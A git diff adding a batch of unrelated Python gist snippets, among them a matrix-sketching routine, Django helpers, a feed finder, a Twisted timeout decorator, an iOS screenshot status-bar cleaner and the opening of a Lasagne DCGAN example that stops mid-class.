new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7304099/._snippet.py differ
diff --git a/hard-gists/7304099/snippet.py b/hard-gists/7304099/snippet.py
new file mode 100644
index 00000000..2b582636
--- /dev/null
+++ b/hard-gists/7304099/snippet.py
@@ -0,0 +1,67 @@
+# (C) Mathieu Blondel, November 2013
+# License: BSD 3 clause
+
+import numpy as np
+from scipy.linalg import svd
+
+
+def frequent_directions(A, ell, verbose=False):
+    """
+    Return the sketch of matrix A.
+
+    Parameters
+    ----------
+    A : array-like, shape = [n_samples, n_features]
+        Input matrix.
+
+    ell : int
+        Number of rows in the matrix sketch.
+
+    Returns
+    -------
+    B : array-like, shape = [ell, n_features]
+
+    Reference
+    ---------
+    Edo Liberty, "Simple and Deterministic Matrix Sketching", ACM SIGKDD, 2013.
+    """
+    if ell % 2 == 1:
+        raise ValueError("ell must be an even number.")
+
+    n_samples, n_features = A.shape
+
+    if ell > n_samples:
+        raise ValueError("ell must be less than n_samples.")
+
+    if ell > n_features:
+        raise ValueError("ell must be less than n_features.")
+
+    B = np.zeros((ell, n_features), dtype=np.float64)
+    ind = np.arange(ell)
+
+    for i in xrange(n_samples):
+        zero_rows = ind[np.sum(np.abs(B) <= 1e-12, axis=1) == n_features]
+        if len(zero_rows) >= 1:
+            B[zero_rows[0]] = A[i]
+        else:
+            U, sigma, V = svd(B, full_matrices=False)
+            delta = sigma[ell / 2 - 1] ** 2
+            sigma = np.sqrt(np.maximum(sigma ** 2 - delta, 0))
+            B = np.dot(np.diag(sigma), V)
+
+        if verbose:
+            AA = np.dot(A.T, A)
+            BB = np.dot(B.T, B)
+            error = np.sum((AA - BB) ** 2)
+            if i == 0:
+                error_first = error
+            print error / error_first
+
+    return B
+
+if __name__ == '__main__':
+    np.random.seed(0)
+    A = np.random.random((100, 20))
+
+    B = frequent_directions(A, 10, verbose=True)
+    print B.shape
\ No newline at end of file
diff --git a/hard-gists/730765/._snippet.py b/hard-gists/730765/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/730765/._snippet.py differ
diff --git a/hard-gists/730765/snippet.py b/hard-gists/730765/snippet.py
new file mode 100644
index 00000000..33839697
--- /dev/null
+++ b/hard-gists/730765/snippet.py
@@ -0,0 +1,68 @@
+from django.db.models.signals import post_init
+
+def track_data(*fields):
+    """
+    Tracks property changes on a model instance.
+    
+    The changed list of properties is refreshed on model initialization
+    and save.
+    
+    >>> @track_data('name')
+    >>> class Post(models.Model):
+    >>>     name = models.CharField(...)
+    >>> 
+    >>>     @classmethod
+    >>>     def post_save(cls, sender, instance, created, **kwargs):
+    >>>         if instance.has_changed('name'):
+    >>>             print "Hooray!"
+    """
+    
+    UNSAVED = dict()
+
+    def _store(self):
+        "Updates a local copy of attributes values"
+        if self.id:
+            self.__data = dict((f, getattr(self, f)) for f in fields)
+        else:
+            self.__data = UNSAVED
+
+    def inner(cls):
+        # contains a local copy of the previous values of attributes
+        cls.__data = {}
+
+        def has_changed(self, field):
+            "Returns ``True`` if ``field`` has changed since initialization."
+            if self.__data is UNSAVED:
+                return False
+            return self.__data.get(field) != getattr(self, field)
+        cls.has_changed = has_changed
+
+        def old_value(self, field):
+            "Returns the previous value of ``field``"
+            return self.__data.get(field)
+        cls.old_value = old_value
+
+        def whats_changed(self):
+            "Returns a list of changed attributes."
+            changed = {}
+            if self.__data is UNSAVED:
+                return changed
+            for k, v in self.__data.iteritems():
+                if v != getattr(self, k):
+                    changed[k] = v
+            return changed
+        cls.whats_changed = whats_changed
+
+        # Ensure we are updating local attributes on model init
+        def _post_init(sender, instance, **kwargs):
+            _store(instance)
+        post_init.connect(_post_init, sender=cls, weak=False)
+
+        # Ensure we are updating local attributes on model save
+        def save(self, *args, **kwargs):
+            save._original(self, *args, **kwargs)
+            _store(self)
+        save._original = cls.save
+        cls.save = save
+        return cls
+    return inner
\ No newline at end of file
diff --git a/hard-gists/7310160/._snippet.py b/hard-gists/7310160/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7310160/._snippet.py differ
diff --git a/hard-gists/7310160/snippet.py b/hard-gists/7310160/snippet.py
new file mode 100644
index 00000000..31163a42
--- /dev/null
+++ b/hard-gists/7310160/snippet.py
@@ -0,0 +1,137 @@
+#! /usr/bin/python
+import Image
+
+
+
+#_______________________________________________________load image/create 'canvas'
+source = Image.open("test26.jpg")	
+img = source.load()
+
+print source.format
+print source.size
+print source.mode
+x = source.size[0]
+y = source.size[1]
+
+scale=int(raw_input("\nscale: (the multiple the image is enlarged by .. original is '1')  >>>"))
+if scale>10:
+	print "scale too high .. is >10 and for the sake of your RAM .. NO!"
+	scale=10
+	raw_input()
+
+canvas2 = Image.new("RGB",(x*scale,y*scale),(240,240,240))
+img00 = canvas2.load()
+
+
+#_______________________________________________________run
+
+
+j_spacing=int(raw_input("\nj_spacing (# of pixels between each row of peaks:) .. I like 8-15 usually  >>>"))
+j=j_spacing
+points=[]
+l1=1
+while l1==1:
+	if j%10==0:
+		print j,"/",y
+	points.append([])
+	i=0
+	l2=1
+	jold=j
+	iold=i
+	while l2==1:
+		
+		r1=img[i,j][0]
+		g1=img[i,j][1]
+		b1=img[i,j][2]
+		ave1=(r1+g1+b1)/3			
+		r2=img[(i+1),j][0]
+		g2=img[(i+1),j][1]
+		b2=img[(i+1),j][2]
+		ave2=(r2+g2+b2)/3
+		
+		altitude=ave1
+		if altitude>0:		
+			#altitude=math.log(altitude,1.1)
+			altitude=(altitude*altitude)/2000
+
+		inew=i*scale
+		jnew=(j-altitude)*scale
+
+		if jnew>0:
+			points[len(points)-1].append([inew,jnew])
+
+		di=inew-iold
+		dj=jnew-jold
+		icurrent=float(0)
+		jcurrent=float(0)
+		if abs(di)>abs(dj):
+			for k in range(0,abs(di)):
+				jcurrent=((k/float(abs(di)))*dj)+jold
+				icurrent=((k/float(abs(di)))*di)+iold
+				if jcurrent>=0:
+					img00[icurrent,jcurrent]=(100,100,100)
+					points[len(points)-1].append([icurrent,jcurrent])
+					
+
+		else:
+			for k in range(0,abs(dj)):
+				icurrent=(k/float(abs(dj)))*di+iold
+				jcurrent=(k/float(abs(dj)))*dj+jold
+				icurrent=round(icurrent)
+				jcurrent=round(jcurrent)
+				if jcurrent>=0:
+					img00[icurrent,jcurrent]=(100,100,100)
+					points[len(points)-1].append([icurrent,jcurrent])
+		
+		
+
+
+
+		iold=i*scale
+		jold=(j-altitude)*scale
+
+		i=i+1
+		if i>=(x-1):
+			l2=0
+	j=j+j_spacing
+	if j>=y:
+		l1=0
+
+
+
+#clear overlaps then re-write line
+print
+for k in xrange(0,len(points)):
+	print k,"/",(len(points)-1)
+	for l in xrange(0,len(points[k])):
+		i=points[k][l][0]
+		j=points[k][l][1]
+		j0=j_spacing*(k+1)
+		dj=int(abs(j-j0))
+		for m in xrange(0,dj):
+			if (j+m)<y:		
+				img00[i,j+m]=(240,240,240)
+		
+	for l in xrange(0,len(points[k])):
+		i=points[k][l][0]
+		j=points[k][l][1]
+		if l==0:
+			j0=j
+		dj=int(abs(j-j0))*10
+		img00[i,j]=(100,100,100)
+
+
+
+
+
+
+
+
+
+#_______________________________________________________save
+
+#source.save("template.png")
+canvas2.save("peaks.png")
+
+
+
diff --git a/hard-gists/732873/._snippet.py b/hard-gists/732873/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/732873/._snippet.py differ
diff --git a/hard-gists/732873/snippet.py b/hard-gists/732873/snippet.py
new file mode 100644
index 00000000..51a8be8f
--- /dev/null
+++ b/hard-gists/732873/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+import os, git, sys
+previous, current, branch = sys.argv[1:4]
+
+WATCH_FILES = ('conf/python/requirements.txt',)
+
+if branch:
+    repository = git.Repo(os.getcwd())
+    previous_commit = repository.commit(previous)
+    current_commit = repository.commit(current)
+    
+    changed = []
+    for diff in previous_commit.diff(current_commit).iter_change_type('M'):
+        # This is hardly optimized, but I am le tired.
+        for WATCH_FILE in WATCH_FILES:
+            try:
+                if diff.a_blob.path == WATCH_FILE or diff.b_blob.path == WATCH_FILE:
+                    changed.append(WATCH_FILE)
+            except:
+                pass
+    
+    if changed:
+        print "\nWARNING: The following watched files have changed!"
+        for change in changed:
+            print "  * %s" % change
+        print ""
\ No newline at end of file
diff --git a/hard-gists/7344542/._snippet.py b/hard-gists/7344542/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7344542/._snippet.py differ
diff --git a/hard-gists/7344542/snippet.py b/hard-gists/7344542/snippet.py
new file mode 100644
index 00000000..94567f75
--- /dev/null
+++ b/hard-gists/7344542/snippet.py
@@ -0,0 +1,29 @@
+from django import template
+
+
+register = template.Library()
+
+@register.tag(name='captureas')
+def do_captureas(parser, token):
+
+    try:
+        tag_name, args = token.contents.split(None, 1)
+    except ValueError:
+        raise template.TemplateSyntaxError("'captureas' node requires a variable name.")
+
+    nodelist = parser.parse(('endcaptureas',))
+    parser.delete_first_token()
+
+    return CaptureasNode(nodelist, args)
+
+
+class CaptureasNode(template.Node):
+
+    def __init__(self, nodelist, varname):
+        self.nodelist = nodelist
+        self.varname = varname
+
+    def render(self, context):
+        output = self.nodelist.render(context)
+        context[self.varname] = output
+        return ''
\ No newline at end of file
diff --git a/hard-gists/735379e9c853171713ca/._snippet.py b/hard-gists/735379e9c853171713ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/735379e9c853171713ca/._snippet.py differ
diff --git a/hard-gists/735379e9c853171713ca/snippet.py b/hard-gists/735379e9c853171713ca/snippet.py
new file mode 100644
index 00000000..b66d1c60
--- /dev/null
+++ b/hard-gists/735379e9c853171713ca/snippet.py
@@ -0,0 +1,151 @@
+#!/usr/local/bin/python3
+
+#
+# feedfinder.py
+#
+# Utils for finding feeds
+#
+
+import sys
+from datetime import datetime
+from urllib.request import Request, urlopen
+from bs4 import BeautifulSoup
+
+DEBUG = True
+
+class Feed:
+    url = None
+    title = None
+    feed_type = None
+    is_main = False
+    created = None
+
+    def __init__(self, url, title=None, feed_type=None, is_main=False):
+        self.url = url
+        self.title = title
+        self.feed_type = feed_type
+        self.is_main = is_main
+        self.created = datetime.utcnow()
+
+    def __repr__(self):
+        return '<%sFeed%s %s "%s">' % (
+            ("%s-" % self.feed_type if not self.feed_type is None else ""),
+            ('*' if self.is_main else ''), self.url, self.title)
+
+
+class FeedFinder:
+    USER_AGENT = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5'
+
+    def _get_html(self, url):
+        '''[Internal]
+        Downloads the given URL with urllib2. Applies an custom User-agent
+        to appear more like a browser and not a spider/crawler/bot.'''
+        request = Request(url)
+        request.add_header('User-Agent', self.USER_AGENT)
+        
+        response = urlopen(request)
+        content = response.read()
+        response.close()
+
+        return content
+
+    def _find_rss_feeds_in_header(self, soup):
+        '''[Internal]
+        Searches for RSS feed.
+            <link type="application/rss+xml" rel="alternate" ...>
+        Returns a list. Either empty if no feed URL was found or with Feed
+        objects. Marks the shortest feed URL as the main one.
+        Analogous to _find_atom_feeds_in_header().'''
+        links = soup.find_all("link", attrs={'type': 'application/rss+xml', 'rel': 'alternate'})
+        feeds = []
+        for link in links:
+            feeds.append(Feed(link["href"], link["title"], "RSS"))
+        self._find_shortest_feed_url_and_update(feeds)
+        return feeds
+        
+    def _find_atom_feeds_in_header(self, soup):
+        '''[Internal]
+        Searches for RSS feed.
+            <link type="application/atom+xml" rel="alternate" ...>
+        Returns a list. Either empty if no feed URL was found or with Feed
+        objects. Marks the shortest feed URL as the main one.
+        Analogous to _find_rss_feeds_in_header().'''
+        links = soup.find_all("link", attrs={'type': 'application/atom+xml', 'rel': 'alternate'})
+        feeds = []
+        for link in links:
+            feeds.append(Feed(link["href"], link["title"], "Atom"))
+        self._find_shortest_feed_url_and_update(feeds)
+        return feeds
+
+    def _find_shortest_feed_url_and_update(self, feeds):
+        '''[Internal]
+        Searches for the shortest url in all the feeds. This is probably
+        the main feed (url). It will also update the feed list and mark the
+        shortest feed as the main one.
+        If feeds is None or feeds is an empty list (e. g. []) then None is
+        returned. Otherwise the shortest feed will be returned.'''
+        if feeds is None or feeds == []:
+            return None
+        shortest_feed = feeds[0]
+        shortest_feed_length = len(shortest_feed.url)
+        for feed in feeds:
+            if len(feed.url) < shortest_feed_length:
+                shortest_feed = feed
+                shortest_feed_length = len(shortest_feed.url)
+        shortest_feed.is_main = True
+        return shortest_feed
+
+    def _find_feeds_in_header(self, html):
+        '''[Internal]
+        Parses the given HTML string with BeautifulSoup4 and searches for
+        either RSS or Atom feed URLs. If both are available they will be
+        concatenated. If no feed URL is found, an empty list will be returned.
+        '''
+        soup = BeautifulSoup(html, 'html.parser')
+        feeds = []
+        feeds += self._find_rss_feeds_in_header(soup)
+        feeds += self._find_atom_feeds_in_header(soup)
+        return feeds
+
+    def find_feeds(self, url):
+        '''Tries to find RSS or Atom feed for the given URL.
+        Returns an empty list if no URL was found.'''
+        try:
+            html = self._get_html(url)
+            feeds = self._find_feeds_in_header(html)
+            return feeds
+        except ValueError as e:
+            if DEBUG:
+                import traceback
+                print(traceback.format_exc().splitlines()[-1])
+            return []
+        except:
+            if DEBUG:
+                import traceback
+                print(traceback.format_exc())
+            return []
+
+    def find_feeds_m(self, urls):
+        '''Tries to find feeds for a list of URLs. Groups the results for each
+        URL.'''
+        result = {}
+        urls = urls if urls is not None else []
+        for url in urls:
+            result[url] = self.find_feeds(url)
+        return result
+
+
+if __name__ == '__main__':
+    if len(sys.argv) < 2:
+        print('>> No url parameter given!')
+        print('>> Execute:\n     %s url1 [url2 [...]]' % sys.argv[0])
+        quit(1)
+
+    url_s = sys.argv[1:]
+    result = FeedFinder().find_feeds_m(url_s)
+    for url, feeds in result.items():
+        print(url)
+        for feed in feeds:
+            print(' %s  %s - %s' % (('*' if feed.is_main else ' '),
+                feed.url, feed.title))
+        print()
diff --git a/hard-gists/735556/._snippet.py b/hard-gists/735556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/735556/._snippet.py differ
diff --git a/hard-gists/735556/snippet.py b/hard-gists/735556/snippet.py
new file mode 100644
index 00000000..0a2978a4
--- /dev/null
+++ b/hard-gists/735556/snippet.py
@@ -0,0 +1,42 @@
+#
+# This gist is released under Creative Commons Public Domain Dedication License CC0 1.0
+# http://creativecommons.org/publicdomain/zero/1.0/
+#
+
+from twisted.internet import defer, reactor
+
+class TimeoutError(Exception):
+    """Raised when time expires in timeout decorator"""
+
+def timeout(secs):
+    """
+    Decorator to add timeout to Deferred calls
+    """
+    def wrap(func):
+        @defer.inlineCallbacks
+        def _timeout(*args, **kwargs):
+            rawD = func(*args, **kwargs)
+            if not isinstance(rawD, defer.Deferred):
+                defer.returnValue(rawD)
+
+            timeoutD = defer.Deferred()
+            timesUp = reactor.callLater(secs, timeoutD.callback, None)
+
+            try:
+                rawResult, timeoutResult = yield defer.DeferredList([rawD, timeoutD], fireOnOneCallback=True, fireOnOneErrback=True, consumeErrors=True)
+            except defer.FirstError, e:
+                #Only rawD should raise an exception
+                assert e.index == 0
+                timesUp.cancel()
+                e.subFailure.raiseException()
+            else:
+                #Timeout
+                if timeoutD.called:
+                    rawD.cancel()
+                    raise TimeoutError("%s secs have expired" % secs)
+
+            #No timeout
+            timesUp.cancel()
+            defer.returnValue(rawResult)
+        return _timeout
+    return wrap
\ No newline at end of file
diff --git a/hard-gists/7365980/._snippet.py b/hard-gists/7365980/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7365980/._snippet.py differ
diff --git a/hard-gists/7365980/snippet.py b/hard-gists/7365980/snippet.py
new file mode 100644
index 00000000..e15be2cf
--- /dev/null
+++ b/hard-gists/7365980/snippet.py
@@ -0,0 +1,112 @@
+#!/usr/bin/python
+
+import Image
+import base64, zlib
+
+# Jay Parlar convinced me to turn this data structure
+# from a dictionary into an object. 
+class PackedImage(object):
+  def __init__(self, mode, size, data):
+    self.mode = mode
+    self.size = size
+    self.data = ''.join(data)
+  
+  def unpack(self):
+    return Image.fromstring(self.mode,
+                            self.size,
+                            zlib.decompress(base64.b64decode(self.data)))
+
+def cleanbar(screenshot):
+  '''Clean up the statusbar in an iOS screenshot.
+
+  Strip out everything except the clock and replace with minimal
+  graphics that show full battery and signal strength.'''
+  
+  # This is for retina displays.
+  height = 40
+  clockwidth = 160
+
+  # Statusbar image data for an iPhone 4, 4s, 5, 5c, or 5s portrait screenshot.
+  # The data string is compressed and base64-encoded.
+  limg = PackedImage('L',
+                     (160, 40),
+                     ['eJxjYBgFo2AUjIJRMJIBq8dAuwAvcHl5d6CdgA8Y/fy/AIcUq3',
+                      'vH7gcf/396sLvDnZWebkIGa/5/ksMqIdf35j8CvOmTp7PDoODl',
+                      'ax9swrw9P/+jgp89/PR1mcusEytrnRuq5l0426iHJmd5H+SkE1',
+                      'UOkkwMTJL2lcdA3PtW+IyTm/7w56Pp8hTyEKD8H1Lg/E1BkUv4',
+                      'BRRbp4skorsGFIRxuJ3n/gls0GcPingIYIMae2Uokp4//7/xQt',
+                      'Pg+eb/T3QxBFD4CDXoswIFPCSwF8V5M9GsCzunBCRZvGdfeP//',
+                      '/YXZPixAntK5MJzOY5gBN2oGBTwEYEeO3f//TdDtY2JgYIy7D5',
+                      'e/H88IFsMJHsGVPqKAhwAaKM57iMVGwe0oSnYI4XEdA8MPuMKf',
+                      'jOTzEMAWxfJLWGwsAoq/bzbnZOAwb3oFZBfjdR+1w08GxX0/BL',
+                      'FYOe3/fBEok3vG/6WMWJQgACIdzaSAhwCMX1Ec2InFSmZfJI43',
+                      'G17nMSh8gpoEyZVk8pDAIRT3/cvDnvh1Fj7++XihLlY5VEDt8i',
+                      '/iPyrwx2apz2+w3G+sVSAakJvx6OejGfIU8uCA5TGK855ibaBw',
+                      'HgRLHuIiwn3UBlko7kvErojvNFDuNJ0bBlCwBsl5G3GVvaJX/l',
+                      '8Vpauz4IDvLNBh706B0udR3BEovVOGjm5CAYyu2dqMDIyaSU74',
+                      'y7ZRMApGwSgYBaOAigAA3eJAYw=='])
+  rimg = PackedImage('L',
+                     (140, 40),
+                     ['eJztlmtIFFEYhr/1srp4ScOktDQhtSzBIpOQilJbCbJAzTKFUg',
+                      'sisigIQSy7oYH+CCNSs4i0SA3qR4oGQsmilGliYUlZIpHhpdt6',
+                      '2didtzNz1t1V0F1t/Tfvj+8778x3Ds/MOWfOEMmSJUuWLFnzlT',
+                      'Ix1tIeaINtaku1OnRlJs++NzvG+57GGa+mNH7VviryNLq0ltGu',
+                      'iw5GU4T9Ft1TNGttfIYwTYqVio0olvL6IRg0w8Alyd0CvrUC/Y',
+                      'GSS0f5llzhOu+gFios+3cGF9j4XgqDO2dH8XjNWZze4N5Sck7W',
+                      'C9HMJUMb50Ar69AgFXW3K4jujXuLbd+B926WAwiKCRtZdApBMT',
+                      'NIaGHlL3AWNQakCbmGWhZbcFY0/lqsY2kZClhMg7hMFHW6DVPG',
+                      'EBSCjSyYlSVRKpFYSnBBuuQPrTMtEXQukitHDonTmC3RHmTxFE',
+                      '5PHcNeLAqlUpnGWZqQyK8NYRVtRRc3J1DFYhjOsJiA3UQRE3XT',
+                      'xpsbi/bx8plxKIWzfIRxO7RgB5uOGm7UaGbRXV/KYi5Wk6p7wH',
+                      'da/7mxCGiyzvIdQdw/QwIdw11uotEuptphP/L6rCEqFdREbpHe',
+                      '/8Eyap1lBH7c1yGJslHGzSa8E1PQh5/1Q/1r2PoqImWVQYdGr3',
+                      'mzYJY1Y2QZRAD3DdhLx3Gbm83gnwSPPblJi2nFSJuSSgz7nGLG',
+                      'nyzke+lHKPfPEU+ZeMDNdrSaKx1faENI9aeaNW8Y/OfLYsN6aY',
+                      'Wa+z6EUzxauDmMR+bKc8ggCsdJ1jyEybNiriz1gdZZqqR9y2YD',
+                      'encKxm9+sxhXTYXR+ocsxohAlATT0WKv74sFSzpapcKj0i7+hF',
+                      '2ice1FzGSdV98XccFGSN+9DGxbQBbvYRxhyWcQWSzloUfFUj56',
+                      'nSfrqvXiQUXu45Uslup8zCz2OY8sWCgVeJlzfxRNYr3LW/yoyO',
+                      'uCwfRasnCeN0r/7lTETtwx9e8MvmwjyxVr57SJhdQ9rH6s0FUy',
+                      'nmXi03ZETVaFjjY78paqWhgz1KjM/e34/2Ih76ggB5NxDIn0MN',
+                      '9Kzg8wtT0iF1n2sud/nSxZsmTJWlD9A546FLU='])
+
+  # Calculate various dimensions based on the size of the screenshot.
+  width = screenshot.size[0]
+  lbox = (0, 0, limg.size[0], limg.size[1])
+  rbox = (width - rimg.size[0], 0, width, rimg.size[1])
+  cl = (width - clockwidth)/2
+  cr = cl + clockwidth
+  
+  # Cover over the statusbar except for the time.
+  # Use the colors along the left edge.
+  for y in range(height):
+    p = screenshot.getpixel((0, y))[:3]
+    screenshot.paste(p, (0, y, cl, y+1))
+    screenshot.paste(p, (cr, y, width, y+1))
+
+  # Decide whether the overlay text and graphics should be black or white.
+  if sum(p)/3 > 192:        # p is the last color from the loop above
+    textcolor = 'black'
+  else:
+    textcolor = 'white'
+
+  # Create the masks.
+  lmask = limg.unpack()
+  rmask = rimg.unpack()
+
+  # Make the overlays.
+  left = Image.new('RGBA', limg.size, textcolor)
+  left.putalpha(lmask)
+  right = Image.new('RGBA', rimg.size, textcolor)
+  right.putalpha(rmask)
+
+  # Paste the overlays and return.
+  screenshot.paste(left, lbox, left)
+  screenshot.paste(right, rbox, right)
+  return screenshot
+
+# And here we go.
+if __name__ == '__main__':
+  import photos
+  screenshot = photos.pick_image()
+  photos.save_image(cleanbar(screenshot))
\ No newline at end of file
diff --git a/hard-gists/736778/._snippet.py b/hard-gists/736778/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/736778/._snippet.py differ
diff --git a/hard-gists/736778/snippet.py b/hard-gists/736778/snippet.py
new file mode 100644
index 00000000..2fbf961c
--- /dev/null
+++ b/hard-gists/736778/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+
+# simple benchmark comparing with and try statements
+
+import contextlib
+import timeit
+
+def work_pass():
+    pass
+
+def work_fail():
+    1/0
+
+def simple_catch(fn):
+    try:
+        fn
+    except Exception:
+        pass
+
+@contextlib.contextmanager
+def catch_context():
+    try:
+        yield
+    except Exception:
+        pass
+
+def with_catch(fn):
+    with catch_context():
+        fn()
+
+class ManualCatchContext(object):
+    def __enter__(self):
+        pass
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        return True
+
+def manual_with_catch(fn):
+    with ManualCatchContext():
+        fn()
+
+setup = 'from __main__ import simple_catch, work_pass, work_fail, with_catch, manual_with_catch'
+commands = [
+    'simple_catch(work_pass)',
+    'simple_catch(work_fail)',
+    'with_catch(work_pass)',
+    'with_catch(work_fail)',
+    'manual_with_catch(work_pass)',
+    'manual_with_catch(work_fail)',
+    ]
+for c in commands:
+    print c, ': ', timeit.timeit(c, setup)
+
+# simple_catch(work_pass) :  0.190114021301
+# simple_catch(work_fail) :  0.190967082977
+# with_catch(work_pass) :  5.82143998146
+# with_catch(work_fail) :  9.16547012329
+# manual_with_catch(work_pass) :  1.06963706017
+# manual_with_catch(work_fail) :  1.43239498138
diff --git a/hard-gists/738156/._snippet.py b/hard-gists/738156/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/738156/._snippet.py differ
diff --git a/hard-gists/738156/snippet.py b/hard-gists/738156/snippet.py
new file mode 100644
index 00000000..e9f628d6
--- /dev/null
+++ b/hard-gists/738156/snippet.py
@@ -0,0 +1,106 @@
+from zope.component import getUtility
+from zope.interface import Interface
+from zope.interface import alsoProvides
+
+from plone.registry.interfaces import IRegistry
+from plone.app.registry.browser.controlpanel import ControlPanelFormWrapper
+from plone.app.registry.browser.controlpanel import RegistryEditForm
+
+from plone.z3cform import layout
+
+from z3c.form import field
+from z3c.form import group
+
+
+class IGeneralSettings(Interface):
+    """Some general settings.
+
+    These fields will appear on the 'Default' tab.
+    """
+
+    # schema fields ...
+
+
+class ILessGeneralSettings1(Interface):
+    """Some less general settings."""
+
+    # schema fields ...
+
+
+class ILessGeneralSettings2(Interface):
+    """Some other less general settings."""
+
+    # schema fields ...
+
+
+class IFormSchema(IGeneralSettings,
+                  ILessGeneralSettings1,
+                  ILessGeneralSettings2):
+    """The form schema contains all settings."""
+
+
+class FormGroup1(group.Group):
+    label = u"Less general 1"
+    fields = field.Fields(ILessGeneralSettings1)
+
+
+class FormGroup2(group.Group):
+    label = u"Less general 2"
+    fields = field.Fields(ILessGeneralSettings2)
+
+
+class MyForm(RegistryEditForm):
+    schema = IFormSchema
+    fields = field.Fields(IGeneralSettings)
+    groups = FormGroup1, FormGroup2
+
+    label = u"Settings"
+
+    def getContent(self):
+        return AbstractRecordsProxy(self.schema)
+
+
+ControlPanel = layout.wrap_form(MyForm, ControlPanelFormWrapper)
+
+
+class AbstractRecordsProxy(object):
+    """Multiple registry schema proxy.
+
+    This class supports schemas that contain derived fields. The
+    settings will be stored with respect to the individual field
+    interfaces.
+    """
+
+    def __init__(self, schema):
+        state = self.__dict__
+        state["__registry__"] = getUtility(IRegistry)
+        state["__proxies__"] = {}
+        state["__schema__"] = schema
+        alsoProvides(self, schema)
+
+    def __getattr__(self, name):
+        try:
+            field = self.__schema__[name]
+        except KeyError:
+            raise AttributeError(name)
+        else:
+            proxy = self._get_proxy(field.interface)
+            return getattr(proxy, name)
+
+    def __setattr__(self, name, value):
+        try:
+            field = self.__schema__[name]
+        except KeyError:
+            self.__dict__[name] = value
+        else:
+            proxy = self._get_proxy(field.interface)
+            return setattr(proxy, name, value)
+
+    def __repr__(self):
+        return "<AbstractRecordsProxy for %s>" % self.__schema__.__identifier__
+
+    def _get_proxy(self, interface):
+        proxies = self.__proxies__
+        return proxies.get(interface) or \
+               proxies.setdefault(interface, self.__registry__.\
+                                  forInterface(interface))
diff --git a/hard-gists/738fa2eedd9666b78404ed1751336f56/._snippet.py b/hard-gists/738fa2eedd9666b78404ed1751336f56/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/738fa2eedd9666b78404ed1751336f56/._snippet.py differ
diff --git a/hard-gists/738fa2eedd9666b78404ed1751336f56/snippet.py b/hard-gists/738fa2eedd9666b78404ed1751336f56/snippet.py
new file mode 100644
index 00000000..0e7aa4e1
--- /dev/null
+++ b/hard-gists/738fa2eedd9666b78404ed1751336f56/snippet.py
@@ -0,0 +1,296 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Example employing Lasagne for digit generation using the MNIST dataset and
+Deep Convolutional Generative Adversarial Networks
+(DCGANs, see http://arxiv.org/abs/1511.06434).
+
+It is based on the MNIST example in Lasagne:
+http://lasagne.readthedocs.org/en/latest/user/tutorial.html
+
+Note: In contrast to the original paper, this trains the generator and
+discriminator at once, not alternatingly. It's easy to change, though.
+
+Jan Schlüter, 2015-12-16
+"""
+
+from __future__ import print_function
+
+import sys
+import os
+import time
+
+import numpy as np
+import theano
+import theano.tensor as T
+
+import lasagne
+
+
+# ################## Download and prepare the MNIST dataset ##################
+# This is just some way of getting the MNIST dataset from an online location
+# and loading it into numpy arrays. It doesn't involve Lasagne at all.
+
+def load_dataset():
+    # We first define a download function, supporting both Python 2 and 3.
+    if sys.version_info[0] == 2:
+        from urllib import urlretrieve
+    else:
+        from urllib.request import urlretrieve
+
+    def download(filename, source='http://yann.lecun.com/exdb/mnist/'):
+        print("Downloading %s" % filename)
+        urlretrieve(source + filename, filename)
+
+    # We then define functions for loading MNIST images and labels.
+    # For convenience, they also download the requested files if needed.
+    import gzip
+
+    def load_mnist_images(filename):
+        if not os.path.exists(filename):
+            download(filename)
+        # Read the inputs in Yann LeCun's binary format.
+        with gzip.open(filename, 'rb') as f:
+            data = np.frombuffer(f.read(), np.uint8, offset=16)
+        # The inputs are vectors now, we reshape them to monochrome 2D images,
+        # following the shape convention: (examples, channels, rows, columns)
+        data = data.reshape(-1, 1, 28, 28)
+        # The inputs come as bytes, we convert them to float32 in range [0,1].
+        # (Actually to range [0, 255/256], for compatibility to the version
+        # provided at http://deeplearning.net/data/mnist/mnist.pkl.gz.)
+        return data / np.float32(256)
+
+    def load_mnist_labels(filename):
+        if not os.path.exists(filename):
+            download(filename)
+        # Read the labels in Yann LeCun's binary format.
+        with gzip.open(filename, 'rb') as f:
+            data = np.frombuffer(f.read(), np.uint8, offset=8)
+        # The labels are vectors of integers now, that's exactly what we want.
+        return data
+
+    # We can now download and read the training and test set images and labels.
+    X_train = load_mnist_images('train-images-idx3-ubyte.gz')
+    y_train = load_mnist_labels('train-labels-idx1-ubyte.gz')
+    X_test = load_mnist_images('t10k-images-idx3-ubyte.gz')
+    y_test = load_mnist_labels('t10k-labels-idx1-ubyte.gz')
+
+    # We reserve the last 10000 training examples for validation.
+    X_train, X_val = X_train[:-10000], X_train[-10000:]
+    y_train, y_val = y_train[:-10000], y_train[-10000:]
+
+    # We just return all the arrays in order, as expected in main().
+    # (It doesn't matter how we do this as long as we can read them again.)
+    return X_train, y_train, X_val, y_val, X_test, y_test
+
+
+# ##################### Build the neural network model #######################
+# We create two models: The generator and the discriminator network. The
+# generator needs a transposed convolution layer defined first.
+
+class Deconv2DLayer(lasagne.layers.Layer):
+
+    def __init__(self, incoming, num_filters, filter_size, stride=1, pad=0,
+            nonlinearity=lasagne.nonlinearities.rectify, **kwargs):
+        super(Deconv2DLayer, self).__init__(incoming, **kwargs)
+        self.num_filters = num_filters
